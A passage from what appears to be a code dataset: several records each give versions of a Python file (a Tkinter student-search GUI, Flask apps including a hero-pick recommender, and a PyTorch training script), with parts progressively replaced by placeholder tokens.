values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,928
cc094f8aeff3b52bd9184f7b815320529ecb4550
from flask import Flask app = Flask(__name__) @app.route('/') def root(): return "Test!" @app.route('/federal/geographic') def federal_geographic(): pass @app.route('/federal/issue') def federal_issue(): pass @app.route('/state/geographic') def state_geographic(): pass @app.route('/local/temporal') def local_temporal(): pass if __name__ == "__main__": app.run(debug=True)
[ "from flask import Flask\n\napp = Flask(__name__)\n\[email protected]('/')\ndef root():\n return \"Test!\"\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\[email protected]('/federal/issue')\ndef federal_issue():\n pass\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n", "from flask import Flask\napp = Flask(__name__)\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\[email protected]('/federal/issue')\ndef federal_issue():\n pass\n\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\napp = Flask(__name__)\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\[email protected]('/federal/issue')\ndef federal_issue():\n pass\n\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<assignment token>\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\[email protected]('/federal/issue')\ndef federal_issue():\n pass\n\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<assignment token>\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\[email protected]('/federal/issue')\ndef federal_issue():\n pass\n\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\n<function token>\n\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\n<function token>\n<function token>\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\n<function token>\n<function token>\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
9,929
06605bbd91c62a02a66770ca3f37a9d2d1401ccb
from flask import Flask, render_template, url_for, request, jsonify from model.model import load_site_config, load_hero_mapping, load_pretrained_model, valid_input, data_to_feature from model.model import combine_list, hero_ids from itertools import product import numpy as np app = Flask(__name__,static_folder='./static') @app.route('/') def demo(): return render_template("home.html",hero_mapping = hero_mapping) @app.route('/predict', methods=['POST']) def predict(): # do check to validate data input valid, res = valid_input(list(request.json)) if not valid: return res else: feature = data_to_feature(res) prob = model.predict_proba(feature)[0] # prob: probabilities ret_val = dict() ret_val[0] = prob[0] ret_val[1] = prob[1] return ret_val @app.route('/recommend', methods=['POST']) def recommend(): idx = -1 raw_data = list(request.json) for i, id_str in enumerate(list(request.json)): if id_str == -1: idx = i break if idx == -1: return "ERROR: illegal input." predict_side = 0 if idx < 5 else 1 hero_2_prob = dict() max_prob = 0 recommended_hero_id = -1 for hero_id in hero_ids: raw_data[idx] = str(hero_id) valid, current_data = valid_input(raw_data) if not valid: continue feature = data_to_feature(current_data) prob = model.predict_proba(feature)[0,predict_side] hero_2_prob[hero_id] = prob if prob > max_prob: recommended_hero_id = hero_id max_prob = prob ret_val = dict() ret_val['hero_id'] = recommended_hero_id ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id] return ret_val if __name__ == '__main__': # site initialization config = load_site_config('App/model/site_config.json') hero_mapping, inverse_hero_mapping = load_hero_mapping(config['hero_mapping_path']) model = load_pretrained_model(config['model_path']) app.run(debug=True)
[ "from flask import Flask, render_template, url_for, request, jsonify\nfrom model.model import load_site_config, load_hero_mapping, load_pretrained_model, valid_input, data_to_feature\nfrom model.model import combine_list, hero_ids\nfrom itertools import product\nimport numpy as np\n\napp = Flask(__name__,static_folder='./static')\n\n\[email protected]('/')\ndef demo():\n return render_template(\"home.html\",hero_mapping = hero_mapping)\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n # do check to validate data input\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n # prob: probabilities\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\[email protected]('/recommend', methods=['POST'])\ndef recommend():\n idx = -1\n raw_data = list(request.json)\n for i, id_str in enumerate(list(request.json)):\n if id_str == -1:\n idx = i\n break\n if idx == -1:\n return \"ERROR: illegal input.\"\n \n predict_side = 0 if idx < 5 else 1\n hero_2_prob = dict()\n max_prob = 0\n recommended_hero_id = -1\n for hero_id in hero_ids:\n raw_data[idx] = str(hero_id)\n valid, current_data = valid_input(raw_data)\n if not valid:\n continue\n feature = data_to_feature(current_data)\n prob = model.predict_proba(feature)[0,predict_side]\n hero_2_prob[hero_id] = prob\n if prob > max_prob:\n recommended_hero_id = hero_id\n max_prob = prob\n ret_val = dict()\n ret_val['hero_id'] = recommended_hero_id\n ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]\n return ret_val\n\n\nif __name__ == '__main__':\n\n # site initialization\n config = load_site_config('App/model/site_config.json')\n hero_mapping, inverse_hero_mapping = load_hero_mapping(config['hero_mapping_path'])\n model = load_pretrained_model(config['model_path'])\n \n app.run(debug=True)", "from flask import Flask, render_template, url_for, request, jsonify\nfrom model.model import load_site_config, load_hero_mapping, load_pretrained_model, valid_input, data_to_feature\nfrom model.model import combine_list, hero_ids\nfrom itertools import product\nimport numpy as np\napp = Flask(__name__, static_folder='./static')\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\n\[email protected]('/recommend', methods=['POST'])\ndef recommend():\n idx = -1\n raw_data = list(request.json)\n for i, id_str in enumerate(list(request.json)):\n if id_str == -1:\n idx = i\n break\n if idx == -1:\n return 'ERROR: illegal input.'\n predict_side = 0 if idx < 5 else 1\n hero_2_prob = dict()\n max_prob = 0\n recommended_hero_id = -1\n for hero_id in hero_ids:\n raw_data[idx] = str(hero_id)\n valid, current_data = valid_input(raw_data)\n if not valid:\n continue\n feature = data_to_feature(current_data)\n prob = model.predict_proba(feature)[0, predict_side]\n hero_2_prob[hero_id] = prob\n if prob > max_prob:\n recommended_hero_id = hero_id\n max_prob = prob\n ret_val = dict()\n ret_val['hero_id'] = recommended_hero_id\n ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]\n return ret_val\n\n\nif __name__ == '__main__':\n config = load_site_config('App/model/site_config.json')\n hero_mapping, inverse_hero_mapping = load_hero_mapping(config[\n 'hero_mapping_path'])\n model = load_pretrained_model(config['model_path'])\n app.run(debug=True)\n", "<import token>\napp = Flask(__name__, static_folder='./static')\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\n\[email protected]('/recommend', methods=['POST'])\ndef recommend():\n idx = -1\n raw_data = list(request.json)\n for i, id_str in enumerate(list(request.json)):\n if id_str == -1:\n idx = i\n break\n if idx == -1:\n return 'ERROR: illegal input.'\n predict_side = 0 if idx < 5 else 1\n hero_2_prob = dict()\n max_prob = 0\n recommended_hero_id = -1\n for hero_id in hero_ids:\n raw_data[idx] = str(hero_id)\n valid, current_data = valid_input(raw_data)\n if not valid:\n continue\n feature = data_to_feature(current_data)\n prob = model.predict_proba(feature)[0, predict_side]\n hero_2_prob[hero_id] = prob\n if prob > max_prob:\n recommended_hero_id = hero_id\n max_prob = prob\n ret_val = dict()\n ret_val['hero_id'] = recommended_hero_id\n ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]\n return ret_val\n\n\nif __name__ == '__main__':\n config = load_site_config('App/model/site_config.json')\n hero_mapping, inverse_hero_mapping = load_hero_mapping(config[\n 'hero_mapping_path'])\n model = load_pretrained_model(config['model_path'])\n app.run(debug=True)\n", "<import token>\n<assignment token>\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\n\[email protected]('/recommend', methods=['POST'])\ndef recommend():\n idx = -1\n raw_data = list(request.json)\n for i, id_str in enumerate(list(request.json)):\n if id_str == -1:\n idx = i\n break\n if idx == -1:\n return 'ERROR: illegal input.'\n predict_side = 0 if idx < 5 else 1\n hero_2_prob = dict()\n max_prob = 0\n recommended_hero_id = -1\n for hero_id in hero_ids:\n raw_data[idx] = str(hero_id)\n valid, current_data = valid_input(raw_data)\n if not valid:\n continue\n feature = data_to_feature(current_data)\n prob = model.predict_proba(feature)[0, predict_side]\n hero_2_prob[hero_id] = prob\n if prob > max_prob:\n recommended_hero_id = hero_id\n max_prob = prob\n ret_val = dict()\n ret_val['hero_id'] = recommended_hero_id\n ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]\n return ret_val\n\n\nif __name__ == '__main__':\n config = load_site_config('App/model/site_config.json')\n hero_mapping, inverse_hero_mapping = load_hero_mapping(config[\n 'hero_mapping_path'])\n model = load_pretrained_model(config['model_path'])\n app.run(debug=True)\n", "<import token>\n<assignment token>\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\n\[email protected]('/recommend', methods=['POST'])\ndef recommend():\n idx = -1\n raw_data = list(request.json)\n for i, id_str in enumerate(list(request.json)):\n if id_str == -1:\n idx = i\n break\n if idx == -1:\n return 'ERROR: illegal input.'\n predict_side = 0 if idx < 5 else 1\n hero_2_prob = dict()\n max_prob = 0\n recommended_hero_id = -1\n for hero_id in hero_ids:\n raw_data[idx] = str(hero_id)\n valid, current_data = valid_input(raw_data)\n if not valid:\n continue\n feature = data_to_feature(current_data)\n prob = model.predict_proba(feature)[0, predict_side]\n hero_2_prob[hero_id] = prob\n if prob > max_prob:\n recommended_hero_id = hero_id\n max_prob = prob\n ret_val = dict()\n ret_val['hero_id'] = recommended_hero_id\n ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]\n return ret_val\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\[email protected]('/predict', methods=['POST'])\ndef predict():\n valid, res = valid_input(list(request.json))\n if not valid:\n return res\n else:\n feature = data_to_feature(res)\n prob = model.predict_proba(feature)[0]\n ret_val = dict()\n ret_val[0] = prob[0]\n ret_val[1] = prob[1]\n return ret_val\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n\n\[email protected]('/')\ndef demo():\n return render_template('home.html', hero_mapping=hero_mapping)\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
9,930
1f63f9234596787e4859b740d3a7fbfaacc9c0c8
import random import glob import json import time from torch.utils.data import Dataset, DataLoader, SubsetRandomSampler from SimpleDataLoader import CustomDataset, get_params_from_filename import numpy as np from DNN_model import Net import torch.optim as optim import torch.nn as nn import torch from tqdm import tqdm from MMS_compute import xpress_solver import copy path_to_data = 'Dataset' def split_to_train_validation(path_to_data): dataset = CustomDataset(path_to_data) print(len(dataset)) batch_size = 300 validation_split = 0.2 shuffle_dataset = True random_seed= 56 dataset_size = len(dataset) indices = list(range(dataset_size)) split = int(np.floor(validation_split * dataset_size)) if shuffle_dataset : np.random.seed(random_seed) np.random.shuffle(indices) train_indices, val_indices = indices[split:], indices[:split] print(len(train_indices), len(val_indices)) # Creating PT data samplers and loaders: train_sampler = SubsetRandomSampler(train_indices) valid_sampler = SubsetRandomSampler(val_indices) train_loader = DataLoader(dataset, batch_size=batch_size, sampler=train_sampler) validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=valid_sampler) print(len(train_loader), len(validation_loader)) return train_loader, validation_loader train_loader, validation_loader = split_to_train_validation(path_to_data) net = Net() loss_func = nn.MSELoss() # loss_func = nn.L1Loss() optimizer = optim.Adam(net.parameters(), lr=1e-4) def compute_loss(dataloader, net): loss = 0 if torch.cuda.is_available(): net.cuda() net.eval() n_batches = 0 with torch.no_grad(): for x, y in dataloader: n_batches += 1 if torch.cuda.is_available(): x = x.cuda() y = y.cuda() pred = net(x) loss += loss_func(pred, y).item() loss = loss / n_batches return loss n_epochs = 50 pbar = tqdm(range(n_epochs)) validation_loss_vs_epoch = [] if torch.cuda.is_available(): net.cuda() for epoch in pbar: if len(validation_loss_vs_epoch) > 1: print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(validation_loss_vs_epoch[-1])) net.train() # put the net into "training mode" for x, y in train_loader: y = y.to(torch.float32) if torch.cuda.is_available(): x = x.cuda() y = y.cuda() optimizer.zero_grad() pred = net(x) loss = loss_func(pred, y) loss.backward() optimizer.step() net.eval() # put the net into evaluation mode valid_loss = compute_loss(validation_loader, net) validation_loss_vs_epoch.append(valid_loss) # n = 5 # m = 50 # max_val = 100 # values = [random.randrange(0, max_val + 1) for _ in range(m)] # values.sort(reverse=True) # values += [0]*50 # mms = xpress_solver(values,n)[0] # sum_vals = sum(values) # new_values = [val/sum_vals for val in values] # pred = net(torch.FloatTensor([float(n)]+new_values)) # pred_num = float(pred.data[0]) # print(pred, mms, pred*sum_vals) # print(pred_num*sum_vals) def zero_pad(values, max_m): m = len(values) values += [0] * (max_m - m) def solve_with_solver(values_copy, n): return xpress_solver(values_copy, n) def solve_with_net(values_copy, n): start = time.time() sum_vals = sum(values_copy) new_values = [val / sum_vals for val in values_copy] pred = net(torch.FloatTensor([float(n)] + new_values)) pred_num = float(pred.data[0]) final_result = pred_num*sum_vals end = time.time() return final_result, end-start def test_net(path): max_m = 100 filelist = glob.glob(path + '/*.json') print(len(filelist)) test_result = dict() filelist_len = len(filelist) for count, filename in enumerate(filelist): n, m, max_val = get_params_from_filename(filename) data_list_in_file = [] with open(filename) as jsonFile: data_list_in_file = json.load(jsonFile) idx = random.randint(0, len(data_list_in_file)-1) example=data_list_in_file[idx] values = example[0]["values"] values_copy = copy.deepcopy(values) values_copy.sort(reverse=True) solver_result, solver_time = solve_with_solver(values_copy, n) zero_pad(values_copy, max_m) net_result, net_time = solve_with_net(values_copy, n) test_result[str((n, m, max_val))] = { 'values_idx': idx, 'solver_result': solver_result, 'solver_time':solver_time, 'net_result':net_result, 'net_time':net_time } if count % 20 == 0: print(count, 'out of', filelist_len) test_result_path = './TestResults/test_results.json' with open(test_result_path, 'w+') as json_file: json.dump(test_result, json_file, indent=4) test_net(path_to_data)
[ "import random\nimport glob\nimport json\nimport time\n\nfrom torch.utils.data import Dataset, DataLoader, SubsetRandomSampler\nfrom SimpleDataLoader import CustomDataset, get_params_from_filename\nimport numpy as np\nfrom DNN_model import Net\nimport torch.optim as optim\nimport torch.nn as nn\nimport torch\nfrom tqdm import tqdm\nfrom MMS_compute import xpress_solver\nimport copy\n\n\npath_to_data = 'Dataset'\n\ndef split_to_train_validation(path_to_data):\n\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed= 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset :\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n\n # Creating PT data samplers and loaders:\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n\n train_loader = DataLoader(dataset, batch_size=batch_size,\n sampler=train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size,\n sampler=valid_sampler)\n\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\ntrain_loader, validation_loader = split_to_train_validation(path_to_data)\n\nnet = Net()\n\n\n\n\n\nloss_func = nn.MSELoss()\n# loss_func = nn.L1Loss()\noptimizer = optim.Adam(net.parameters(), lr=1e-4)\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n\n loss += loss_func(pred, y).item()\n\n loss = loss / n_batches\n return loss\n\n\n\n\nn_epochs = 50\n\npbar = tqdm(range(n_epochs))\nvalidation_loss_vs_epoch = []\n\nif torch.cuda.is_available():\n net.cuda()\n\nfor epoch in pbar:\n\n if len(validation_loss_vs_epoch) > 1:\n print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(validation_loss_vs_epoch[-1]))\n\n net.train() # put the net into \"training mode\"\n for x, y in train_loader:\n y = y.to(torch.float32)\n\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n\n optimizer.zero_grad()\n pred = net(x)\n loss = loss_func(pred, y)\n loss.backward()\n optimizer.step()\n\n net.eval() # put the net into evaluation mode\n\n valid_loss = compute_loss(validation_loader, net)\n\n validation_loss_vs_epoch.append(valid_loss)\n\n# n = 5\n# m = 50\n# max_val = 100\n# values = [random.randrange(0, max_val + 1) for _ in range(m)]\n# values.sort(reverse=True)\n# values += [0]*50\n# mms = xpress_solver(values,n)[0]\n# sum_vals = sum(values)\n# new_values = [val/sum_vals for val in values]\n# pred = net(torch.FloatTensor([float(n)]+new_values))\n# pred_num = float(pred.data[0])\n# print(pred, mms, pred*sum_vals)\n# print(pred_num*sum_vals)\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [val / sum_vals for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num*sum_vals\n end = time.time()\n return final_result, end-start\n\ndef test_net(path):\n max_m = 100\n filelist = glob.glob(path + '/*.json')\n print(len(filelist))\n\n test_result = dict()\n filelist_len = len(filelist)\n for count, filename in enumerate(filelist):\n n, m, max_val = get_params_from_filename(filename)\n data_list_in_file = []\n with open(filename) as jsonFile:\n data_list_in_file = json.load(jsonFile)\n idx = random.randint(0, len(data_list_in_file)-1)\n example=data_list_in_file[idx]\n values = example[0][\"values\"]\n values_copy = copy.deepcopy(values)\n values_copy.sort(reverse=True)\n solver_result, solver_time = solve_with_solver(values_copy, n)\n\n zero_pad(values_copy, max_m)\n net_result, net_time = solve_with_net(values_copy, n)\n test_result[str((n, m, max_val))] = {\n 'values_idx': idx,\n 'solver_result': solver_result,\n 'solver_time':solver_time,\n 'net_result':net_result,\n 'net_time':net_time\n }\n if count % 20 == 0:\n print(count, 'out of', filelist_len)\n test_result_path = './TestResults/test_results.json'\n with open(test_result_path, 'w+') as json_file:\n json.dump(test_result, json_file, indent=4)\n\ntest_net(path_to_data)", "import random\nimport glob\nimport json\nimport time\nfrom torch.utils.data import Dataset, DataLoader, SubsetRandomSampler\nfrom SimpleDataLoader import CustomDataset, get_params_from_filename\nimport numpy as np\nfrom DNN_model import Net\nimport torch.optim as optim\nimport torch.nn as nn\nimport torch\nfrom 